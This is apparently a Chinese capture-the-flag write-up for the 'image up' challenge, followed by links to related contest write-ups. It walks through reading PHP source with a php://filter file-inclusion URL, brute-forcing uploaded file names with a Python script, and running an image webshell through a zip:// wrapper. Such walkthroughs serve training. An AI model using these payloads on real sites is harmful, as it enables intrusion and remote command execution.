http://101.71.29.5:10007/index.php?page=login  

仔细观察这个url的话会发现,存在文件包含。

而且并没有login.php而是login,猜测代码是

<?php include str."php";

随便账号密码就能登陆,来到了一个上传页面,只能上传图片,回头看看题目

这里的思路明确了,文件包含加图片马。

在这时间统一的世界里,上传图片试试吧

突然发现,并不知道图片去哪里了。

用为协议读取源代码,

http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=login
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload   

注意,因为包含文件的时候自动拼接.php,所以这里只写login和upload

在upload这里我们发现代码实现的功能。

分割文件名和文件后缀,然后文件名保存为MD5(当前时间+文件名)+文件后缀,上传到upload目录下边。  

这个文件名其实是可以预测的,只不过我们得稍微的爆破一下他前后左右很短的一段时间,访问他是否存在来判断时间是否正确。

制作一个图片马,上传后立即运行脚本。

import time
import hashlib
import requests
def md5(str):
    m=hashlib.md5()
    m.update(str)
    return m.hexdigest()
t=int(time.time())
for i in range(t+8*3600-20,t+8*3600+60):#时差查了八个小时
    url="http://101.71.29.5:10007/"+"uploads/"+md5("sky"+str(i))+".jpg"
    res=requests.get(url)

    if res.status_code==200:
        print(url+'')

直接包含这个图片,发现不行,因为读upload.php源码的时候会发现拼接了.php,相当于你包含了shell.jpg.php,这是一个不存在的文件。

为了绕过拼接,我们可以用phar和zip为协议。

本来最后必须要打你完整的木马的名字:name.php,但是php是自动拼接的,所以就之打name。

这样就可以让绕过.php的自动拼接了。。。

http://101.71.29.5:10043/index.php?page=zip://uploads/图片.jpg%23shell密码,然后命令执行就可以了

安恒月赛 image up的更多相关文章

  1. 安恒月赛WP

    一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...

  2. RSA共模攻击

    在安恒月赛中碰到一道密码学方向的ctf题 附上源码 from flag import flag from Crypto.Util.number import * p=getPrime(1024) q= ...

  3. 安恒X计划12月月赛

    ezweb 主要是序列化问题.没有PHP环境,在线运行的.实例化对象之后修改一下file.然后echo输出序列化的结果.不过下面有一个正则检查.数字前加一个+,影响了正则的匹配,但是对于序列化的还原没 ...

  4. 安恒7月赛wp

    1.[order]   这道题,发现order参数处有注入点,于是就使用sqlmap盲注,emmmm,学到了sqlmap的一些小窍门.   首先,解题的语句是: sqlmap -u "htt ...

  5. 安恒杯2月月赛-应该不是xss

    1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密 ...

  6. 安恒杯11月月赛web题目-ezsql详细记录

    通过此题目可以学习到 1.通过load_file+like来盲注获取文件内容 2.php魔术方法__get函数的用法 3.bypass  linux命令过滤 题目中给了注册和登录的功能,没有源码泄露 ...

  7. 2018安恒杯11月月赛 MISC

    题目放评论了 Numeric password 这次隐写没有按照套路出牌,很强. 记录一下 看来自主学习的能力很有待提高. 打开Numeric password.txt 中华文化博大精深,近日在教小外 ...

  8. 安恒杯月赛 babypass getshell不用英文字母和数字

    BABYBYPASS 先贴代码: ①限制字符长度35个 ②不能使用英文字母和数字和 _ $ 最后提示有个getFlag()函数,从这个函数入手. 我们的第一思路是直接eval执行getFlag函数,但 ...

  9. 2020 安恒2月月赛 misc

    题目链接:https://pan.baidu.com/s/19l54Nukt6evOr4UgbHMXIQ 提取码:1qbs 0x01 lemonEssence 咦?在kali打开是出错,改宽后图片变了 ...

随机推荐

  1. 使用startForeground让android服务前台运行

    最近在使用android 4.1系统的时候,发现在手机休眠一段时间后(1-2小时),后台运行的服务被强行kill掉,有可能是系统回收内存的一种机制,要想避免这种情况可以通过startForegroun ...

  2. c++指针二维数组

    ; int** G; //初始化 G = new int*[N]; ; i < N; i++) G[i] = new int[N]: //删除 ; i < N; i++) delete[] ...

  3. Sonar服务器搭建

    Sonar服务器搭建 Sonar概述 Sonar 是一个用于代码质量管理的开放平台.通过插件机制,Sonar 可以集成不同的测试工具,代码分析工具,以及持续集成工具.与持续集成工具(例如 Hudson ...

  4. 【POJ2774】Long Long Message(后缀数组求Height数组)

    点此看题面 大致题意: 求两个字符串中最长公共子串的长度. 关于后缀数组 关于\(Height\)数组的概念以及如何用后缀数组求\(Height\)数组详见这篇博客:后缀数组入门(二)--Height ...

  5. 将数据库数据显示到TreeView控件中

    实现效果: 知识运用: TreeView控件中的Nodes集合的Add方法 实现代码: private void init() { treeView1.ShowLines = true; treeVi ...

  6. 复习C++_指针、动态分配内存

    注意:++i指的是先计算i+1,然后将其赋给i cout<<str[7]<<endl; //输出a 注:交换失败 注意:delete释放之后,变为迷途指针. 注:n--> ...

  7. dojo/Deferred类和dojo/promise类的使用

    参考博客:https://blog.csdn.net/blog_szhao/article/details/50220181        https://dojotoolkit.org/docume ...

  8. CUDA实现数组倒序

    数组倒序,将在主机上初始化的数组传输到设备上,然后用CUDA并行倒序,此时在全局内存上操作,再将结果返回到主机并验证. #include <stdio.h> #include <as ...

  9. Hotkeys.js 2.0.2 发布,JS 网页快捷键设置,捕获键盘输入和输入的组合键快捷键,它没有依赖

    这是一个强健的 Javascript 库用于捕获键盘输入和输入的组合键,它没有依赖,压缩只有只有(~3kb),gzip:1.9k. 更新内容: 添加测试用例: 添加更多特殊键支持: 修复bug. __ ...

  10. Linux下 tomcat 的开机自启动设置

    每次开机都要启动tomcat,非常麻烦:通过直接修改系统文件,实现tomcat自启动: 1. 修改脚本文件rc.local:vim /etc/rc.d/rc.local 这个脚本是使用者自定的开机启动 ...